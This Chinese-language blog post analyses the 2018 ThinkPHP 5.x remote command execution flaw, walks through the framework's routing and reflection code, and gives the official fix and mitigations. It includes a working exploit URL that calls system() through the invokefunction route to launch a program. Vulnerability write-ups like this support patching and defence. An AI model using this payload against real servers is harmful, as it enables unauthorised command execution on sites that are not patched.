ThinkPHP5.x远程命令执行漏洞分析

ThinkPHP5.x远程命令执行漏洞分析

Posted by T-bag on December 20, 2018

前言

2018年12月9日,ThinkPHP5.*版本发布安全更新,本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ffd24e458-069f-4174-8aed-7a7af0371dbb%2F95B7CC09-C7CC-4317-A8F3-8D9268ED9D57.png

漏洞复现

环境

<http://www.thinkphp.cn/down/1260.html> //官网下载ThinkPHP5.0.22完整版
PHP-7.0.12-NTS + Apache

Payload: 这里vars[0]为call_user_func_array调用的函数名,vars[1][]为调用的函数参数。

<http://127.0.0.1/thinkphp_5.0.22_with_extend/public/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=C:\\WINDOWS\\System32\\calc.exe>

将下载的thinkphp解压到自己的web应用目录中,访问上述Payload,即可触发漏洞,弹出计算器。

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F31c65d64-9161-41e8-9bbf-19a42841be3e%2F49FEF24A-38F8-47D3-B35B-544E7E4D93BA.png

phpinfo()

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F7484bd2f-3311-4f16-b3cb-951e6c0bd5d9%2FB7CADF14-FA79-4FEE-9584-5CEF4BF31346.png

漏洞分析

观察payload,可以发现其是thinkPHP兼容模式的路由,其格式类似如下:

<http://localhost/?s=[模块/控制器/操作?]参数1=值1&参数2=值2>

其对应的控制器类似:

<?php
namespace app\\index\\controller; //模块名为index

class Index //控制器名
{
    public function index() //操作方法
    {
        return 'hello world';
    }
}

当我们访问http://localhost/?s=/index/index/index路由的情况下,ThinkPHP会调用index模块下的index控制器的index操作方法,页面输出Hello World。

兼容模式的路由大致流程就是这样,接下来开始具体分析一下漏洞Payload,当我们输入URL的时候,ThinkPHP会从入口文件进入,并执行thinkphp目录下的启动文件start.php

// 2. 执行应用
App::run()->send();

将会执行thinkphp//library/think/App.phprun函数,在执行过程中,会调用thinkphp/libray/think/Route.php下的parseUrl进行URL解析,而在parseUrl函数又同时调用parseUrlPath根据/分隔符进行路径分割。

/**
     * 解析URL的pathinfo参数和变量
     * @access private
     * @param string $url URL地址
     * @return array
     */
    private static function parseUrlPath($url)
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

得出来的路径分割结果如下:

$path = {"index", "\\think\\app" ,"invokefunction"}//分别对应模块名,控制器名,操作方法
//最终结果格式
$result = ['type' => 'module', 'module' => {"index", "\\think\\app" ,"invokefunction"}]

接下来run将会继续调用exec函数进行调用分发。$dispatch参数为前面的路径分割结果。

$data = self::exec($dispatch, $config);

exec中将会调用module执行对应的模块操作。

case 'module': // 模块/控制器/操作
                $data = self::module( //调用module函数
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;

module函数也正是官方修复的地方,观察官方注释可以知道这是一个执行模块方法的函数,首先其会根据我们$dispatch['module']数组获取模块名,控制器名,操作方法名,代码如下

/**
     * 执行模块
     * @access public
     * @param array $result 模块/控制器/操作
     * @param array $config 配置参数
     * @param bool $convert 是否自动转换控制器和操作名
     * @return mixed
     * @throws HttpException
     */
    public static function module($result, $config, $convert = null)
    {
       $module = strip_tags(strtolower($result[0] ?: $config['default_module'])); //获取模块名   $module = index
        ... 
        // 当前模块路径
        App::$modulePath = APP_PATH . ($module ? $module . DS : '');//模块的真实路径

        // 是否自动转换控制器和操作名
        $convert = is_bool($convert) ? $convert : $config['url_convert'];

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller; //$controller = \\think\\app

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']); //$actionName = 
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }      
        ....
    }

[image:3AFBAF5C-850E-447A-B776-EF6F77D85933-8220-0004480B9E66481F/C10297C2-4B6A-4721-B73C-6AB66E7F5FB3.png]

而后会设置请求的控制器。

// 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);

将会调用thinkphp/library/think/Loader.php中的controller函数,并返回调用类名。

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {
        list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
        if (class_exists($class)) {
            return App::invokeClass($class);
        }

需要注意的是其中获取getModuleAndClass,解析模块和类名的方法,首先会判断是否控制器名是否存在\\字符,存在的话,将会将其直接设置为类名。即此时类名为\\think\\app。而如果其为正常的类似index的正规控制器名的话,会调用parseClass拼接出类名来,类似app\\index\\controller\\Index

protected static function getModuleAndClass($name, $layer, $appendSuffix)
    {
        if (false !== strpos($name, '\\\\')) {
            $module = Request::instance()->module();
            $class = $name;
        } else {
            if (strpos($name, '/')) {
                list($module, $name) = explode('/', $name, 2);
            } else {
                $module = Request::instance()->module();
            }

            $class = self::parseClass($module, $layer, $name, $appendSuffix);
        }

        return [$module, $class];
    }

回到moudle函数中,将会通过反射获取操作方法名,即invokefunction

if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect = new \\ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);

        }

接着就会调用其具体的操作方法了

return self::invokeMethod($call, $vars); //$call = {think\\App , "invokefunction"}

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd4a13455-18d6-4d6f-af25-f7f6a5455896%2F32AF1865-1E58-4F35-9375-8F45CAE3EE28.png

然后invokeMethod函数通过反射执行invokefunction方法,invokefunction函数再通过反射执行$function参数,即我们payload中的的call_user_func_array, $vars[]为call_user_func_array的调用参数。即payload中的vars[0]=system&vars[1][]=C:\\WINDOWS\\System32\\calc.exe,从而call_user_func_array调用sytem命令执行,漏洞触发。

/**
     * 执行函数或者闭包方法 支持参数调用
     * @access public
     * @param string|array|\\Closure $function 函数或者闭包
     * @param array $vars 变量
     * @return mixed
     */
    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \\ReflectionFunction($function);//反射call_user_func_array
        $args = self::bindParams($reflect, $vars);//bindParams合并多个参数到一个数组

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);//调用
    }

https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa2ff3fe6-289f-4cd4-9db9-062cd3c51b65%2F3D170351-5C23-431E-91FF-26AC094EECBA.png

修复方案

  1. 升级最新版本(推荐)
  2. 查看GitHub上thinkPHP5的commit

    https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fbf434954-c1ee-4bf0-a2af-207137eeec0e%2F9DC11EB7-B4D9-4E82-8FAD-A7AFECF1B4C6.png

结合Thinkphp官方的描述,这次修复对控制器名进行了判断,判断是否符合正则(字母开头并且只包含字母数字下划线),只接受index这种格式的字符作为控制器,否则将会返回错误。

  1. 设置必须定义路由才能访问:

    ‘url_route_on’ => true, ‘url_route_must’ => true,

这种方式下面必须严格给每一个访问地址定义路由规则(包括首页),否则将抛出异常。

总结

ThinkPHP5.*漏洞成因正如官方所说 “由于框架对控制器名没有进行足够的检测”。导致可以操作thinkphp核心库下的操作方法,导致反射执行调用call_user_func_array函数造成命令执行。

参考文献

  1. https://blog.thinkphp.cn/869075
  2. https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815